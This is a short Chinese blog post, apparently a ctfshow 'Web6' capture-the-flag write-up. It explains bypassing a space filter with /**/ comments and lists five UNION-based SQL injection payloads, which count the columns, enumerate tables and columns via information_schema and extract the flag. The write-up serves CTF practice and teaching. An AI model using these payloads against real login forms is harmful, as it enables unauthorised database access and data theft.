[ctfshow]Web6

Web6

题目描述

题目解析

image-20220623134838251

打开页面只有一个form表单,怀疑是一个sql注入,用bp抓包构造一下注入语法进行尝试。发现被检测了,考虑是关键字过滤还是过滤空格呢。首先输入关键字进行测试,发现页面返回正常;再输入空格发现报错,证明是检测了空格。

image-20220623135304807

在SQL注入中,能代替空格的有/**/注释、通过括号绕过空格、用%0a、%0b、%0c、%0d、%09、%a0编码绕过。

这里选择注释的方式进行绕过

image-20220623135842618

接下来就是一把梭的SQL注入

username=123'/**/or/**/1=1/**/order/**/by/**/4/**//**/#&password=123  #判断字段数
username=123'/**/or/**/1=1/**/union/**/select/**/1,2,3/**/#&password=123 #判断回显位置
username=123'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/#&password=123  #获取表名
username=123'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'/**/#&password=123  #获取列名
username=123'/**/or/**/1=1/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag/**/#&password=123  #拿到flag

即可成功取得flag~

posted @ 2022-06-23 14:10  alm0st  阅读(151)  评论(0编辑  收藏  举报